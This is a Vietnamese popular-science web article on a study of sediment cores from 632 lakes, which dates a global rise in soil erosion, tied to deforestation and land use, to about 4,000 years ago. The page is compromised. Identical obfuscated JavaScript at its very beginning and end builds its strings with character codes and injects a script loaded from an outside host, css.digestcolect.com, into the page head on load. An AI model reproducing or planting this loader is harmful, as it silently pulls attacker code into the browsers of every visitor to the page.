Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Xói mòn đất từ 4000 năm về trước

Xói mòn đất từ 4000 năm về trước

Xói mòn đất làm giảm năng suất của hệ sinh thái, thay đổi chu kỳ dinh dưỡng và do đó ảnh hưởng trực tiếp đến khí hậu và đời sống xã hội.

Giáo sư Pierre Francus (Viện nghiên cứu Khoa học Quốc gia Canada – INRS) cùng với đội ngũ các nhà nghiên cứu quốc tế, đã ghi lại những thay đổi theo thời gian của xói mòn đất bằng cách phân tích trầm tích trầm tích trong hơn 600 hồ trên toàn thế giới. Họ phát hiện ra rằng sự tích tụ trầm tích hồ tăng đáng kể trên quy mô toàn cầu khoảng 4.000 năm trước.

Các chỉ số về mật độ phấn hoa cũng cho thấy độ che phủ rừng giảm đáng kể và là dấu hiệu rõ ràng của nạn phá rừng. Nghiên cứu cho thấy các hoạt động sống của con người và những thay đổi trong mục đích sử dụng đất đã khiến tình trạng xói mòn đất thêm trầm trọng từ rất lâu, trước cả thời kì công nghiệp hóa.

Đất là nền tảng cho hầu hết các quá trình sinh học diễn ra trên bề mặt trái đất. Qua hàng ngàn năm, hiện tượng xói mòn và phong hóa đất được kiểm soát chủ yếu bởi các tác động từ khí hậu và kiến tạo. Còn trong thời gian ngắn hạn và trên quy mô hẹp hơn, các hoạt động của con người là nguyên nhân chính gây ra xói mòn đất. Tuy nhiên, vẫn chưa đủ bằng chứng để kết luận liệu hoạt động của con người có gây xói mòn đất trên quy mô toàn cầu hay không.

Nhằm trả lời câu hỏi này, đội ngũ các nhà khoa học từ Châu Âu và Canada đã nghiên cứu các lõi trầm tích thu thập từ 632 hồ trên toàn thế giới, qua đó đánh giá tình trạng xói mòn đất xuyên suốt lịch sử.

Trầm tích hồ giống như tài liệu lưu trữ tự nhiên của các hoạt động xói mòn. Tất cả các thông lượng và quá trình loại bỏ đất, đá và các vật liệu hòa tan đều dẫn đến sự tích lũy và bảo tồn các lớp trầm tích ở dưới đáy hồ”, tác giả nghiên cứu Jean – Philippe Jenny cho biết.

Các nhà khoa học đã sử dụng các phép đo carbon phóng xạ(14C) nhằm xác định tuổi và tốc độ tích lũy của các lớp trầm tích hồ. “Lần đầu tiên bằng cách tổng hợp dữ liệu từ rất nhiều hồ mà chúng tôi thấy được sự tích tụ trầm tích có xu hướng ngày càng tăng trong suốt Thế Holocen (thế địa chất diễn ra từ 11700 năm trước và vẫn đang tiếp diễn)”, giáo sư Francus cho biết.

Các nhà nghiên cứu đã xem xét các hóa thạch phấn hoa trong cùng một hồ để tái tạo những chuyển biến trong mức độ che phủ đất ở mỗi lưu vực hồ. Họ phát hiện ra nguyên nhân gây tăng mức bồi lắng chính là sự gia tăng tích tụ trầm tích từ 4000 năm trước diễn ra cùng lúc với sự suy giảm lượng phấn hoa sản sinh trên cây – phản ánh tình trạng suy thoái và xói mòn đất.

Sự thay đổi trong mật độ che phủ đất là nhân tố chính gây ra sự gia tăng tích tụ trầm tích trên phạm vi toàn cầu gây nên tình trạng xói mòn đất. Điều này chứng tỏ việc sử dụng đất đã gây ảnh hưởng đáng kể tới hệ sinh thái từ tận 4000 năm về trước, khi mà dân số toàn cầu còn nhỏ hơn hiện tại rất nhiều.

Khi phân tích sâu các dữ liệu, các nhà nghiên cứu phát hiện một mối liên hệ khác: ở cấp độ khu vực, những thay đổi trong tích tụ trầm tích dường như tương quan với sự phát triển kinh tế xã hội lịch sử trong các khu định cư của con người. Chẳng hạn, hiện tượng xói mòn đất gia tăng ở Bắc Mỹ diễn ra chậm hơn so với châu Âu, tương ứng với việc các người châu Âu đem đến các hoạt động nông nghiệp sau khi chiếm châu Mỹ làm thuộc địa.

Ví dụ, sự gia tăng xói mòn đất diễn ra chậm hơn ở Bắc Mỹ so với ở châu Âu. Sự gia tăng này có khả năng tương ứng với việc du nhập các phương thức hoạt động nông nghiệp châu Âu ở Bắc Mỹ bắt đầu muộn hơn sau khi thực dân hóa. Ngược lại, sự giảm tích tụ trầm tích ở 23% các vị trí có khả năng liên quan đến việc sử dụng nước và xây dựng đập tăng lên, đặc biệt là ở các đế chế La Mã và các triều đại Trung Quốc 3.000 năm trước.

Nói chung, nghiên cứu này cho thấy sự thay đổi về độ phong phú của cây trồng trong lưu vực hồ từ lâu đã là nhân tố gây xói mòn đất hàng đầu, bên cạnh nạn phá rừng. Tầm quan trọng của phát hiện này nằm ở chỗ nó sẽ tạo điều kiện để con người đưa ra những dự đoán chính xác hơn về chu trình carbon trong dài hạn.

“Những phát hiện này rất quan trọng vì nó sẽ cho phép chúng ta có được những dự đoán tốt hơn và chính xác hơn về chu trình carbon trong dài hạn”, giáo sư Francus nói thêm.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();